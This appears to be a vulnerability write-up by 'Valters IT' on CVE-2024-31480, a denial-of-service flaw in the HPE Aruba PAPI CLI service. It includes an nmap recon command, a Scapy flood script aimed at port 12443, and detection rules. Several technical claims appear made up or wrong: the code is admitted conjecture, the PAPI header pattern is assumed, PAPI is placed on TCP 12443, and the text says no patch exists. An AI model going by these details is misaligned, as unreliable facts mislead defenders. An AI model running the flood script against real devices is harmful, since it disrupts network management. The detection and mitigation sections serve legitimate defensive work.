CVE-2024-31480

Executive Summary

CVE-2024-31480 identifies a set of unauthenticated Denial of Service (DoS) vulnerabilities within the CLI service of Hewlett Packard Enterprise (HPE) Aruba Networking products, specifically those accessible via the PAPI (Aruba Access Point API) protocol. An attacker can exploit these flaws by sending specially crafted network traffic to the vulnerable service, causing it to become unresponsive or crash, thereby interrupting normal operations. The vulnerability carries a CVSS score of 5.3 (Medium) and is classified under CWE-400 (Uncontrolled Resource Consumption). No public proof-of-concept (PoC) code or exploit templates are currently available, and the vendor has not yet released a patch.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects proprietary HPE Aruba Networking firmware and hardware.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Base Score: 5.3 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): Low (L) – Service disruption, not complete shutdown.

Threat Level: Medium. While the impact is limited to availability, the lack of authentication and low attack complexity make it a viable vector for disrupting network operations.

Deep Dive & Mechanics

The vulnerability resides in the CLI service of HPE Aruba Networking devices that expose the PAPI protocol (typically on TCP port 12443). The PAPI protocol is used for management and configuration of Aruba Access Points and controllers. The CLI service, when processing certain malformed or high-volume requests via PAPI, fails to properly handle resource allocation, leading to uncontrolled resource consumption (CWE-400).

Root Cause: The service does not enforce rate limiting or input validation on specific PAPI commands. An attacker can send a flood of specially crafted PAPI packets that cause the service to allocate excessive memory or CPU cycles, eventually exhausting system resources and causing a denial of service.

Attack Flow:

1. Attacker identifies a target HPE Aruba device with PAPI exposed (e.g., via Shodan).
2. Attacker crafts a series of PAPI packets targeting the CLI service.
3. The packets are sent without authentication.
4. The vulnerable service processes the packets, consuming resources until it becomes unresponsive.
5. Legitimate users are unable to access the CLI service, impacting management operations.

Vulnerable vs. Patched Code

No specific code snippets are available as this is a closed-source vulnerability. However, the general pattern is:

Vulnerable Code (Conceptual):

void handle_papi_cli_request(packet *pkt) {
    // No input validation or rate limiting
    process_command(pkt->data);
}

Patched Code (Expected):

void handle_papi_cli_request(packet *pkt) {
    if (rate_limit_exceeded()) {
        return;
    }
    if (!validate_packet(pkt)) {
        return;
    }
    process_command(pkt->data);
}

Exploitation & Lab Setup

Red Team

Objective: Disrupt the CLI service of an HPE Aruba device.

Lab Environment:

• Target: HPE Aruba controller or access point with PAPI enabled (e.g., Aruba 7200 series controller).
• Attacker: Kali Linux machine with network access to the target.

Exploitation Steps:

1. Reconnaissance: Use Shodan or Nmap to identify devices with port 12443 open.

   nmap -p 12443 --open <target_ip>
   

2. Craft Malformed PAPI Packets: Since no public exploit exists, a custom script can be written to send high volumes of PAPI requests. Below is a Python skeleton using Scapy (note: actual PAPI protocol details are proprietary).

   from scapy.all import *
   import time
   
   target_ip = "192.168.1.100"
   target_port = 12443
   
   # Craft a malformed PAPI packet (placeholder)
   packet = IP(dst=target_ip)/TCP(dport=target_port)/Raw(load=b"\x00"*1000)
   
   # Flood the service
   for i in range(10000):
       send(packet, verbose=0)
       time.sleep(0.01)
   

3. Monitor Impact: The CLI service should become unresponsive. Verify by attempting to connect via SSH or web interface.

Blue Team

Detection & Response:

• Monitor for unusual traffic patterns on port 12443 (e.g., high packet rates from a single source).
• Implement network-based rate limiting for PAPI traffic.
• Use IDS/IPS rules to detect malformed PAPI packets.

Hunting Queries:

• Search for logs indicating resource exhaustion on Aruba devices.
• Look for repeated connection attempts to port 12443 from external IPs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • High volume of TCP packets to port 12443 from a single source IP.
  • Malformed PAPI packets with unusual payload sizes or patterns.
• Host IOCs:
  • CLI service logs showing repeated crashes or resource warnings.
  • System logs indicating memory or CPU exhaustion.
• File IOCs:
  • Temporary files created by the CLI service during resource exhaustion (e.g., core dumps).

Detection Engineering

YARA Rule

rule CVE_2024_31480_PAPI_DoS {
    meta:
        description = "Detects malformed PAPI packets targeting CLI service"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-31480"
    strings:
        $papi_header = { 50 41 50 49 } // "PAPI" in hex
        $malformed = { 00 00 00 00 00 00 00 00 } // Example pattern
    condition:
        $papi_header at 0 and #malformed > 10
}

Sigma Rule

title: CVE-2024-31480 - Unauthenticated DoS via PAPI
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects high volume of PAPI traffic indicating DoS attempt
author: Valters IT
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 12443
        event_type: alert
    condition: selection
falsepositives:
    - Legitimate management traffic
level: medium

Suricata Rule

alert tcp any any -> any 12443 (msg:"CVE-2024-31480 - Potential PAPI DoS Attack"; flow:to_server; threshold: type both, track by_src, count 100, seconds 10; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Network Access: Limit access to port 12443 to trusted management networks only using firewall rules.
2. Disable PAPI if Unused: If the PAPI protocol is not required, disable it on the device.
3. Monitor Traffic: Implement network monitoring to detect anomalous PAPI traffic.

Long-Term Fix:

• Apply vendor patch once released by HPE.
• Upgrade to a patched firmware version.

Workarounds:

• Use VPN or jump hosts for management access.
• Implement rate limiting at the network perimeter.

Valters IT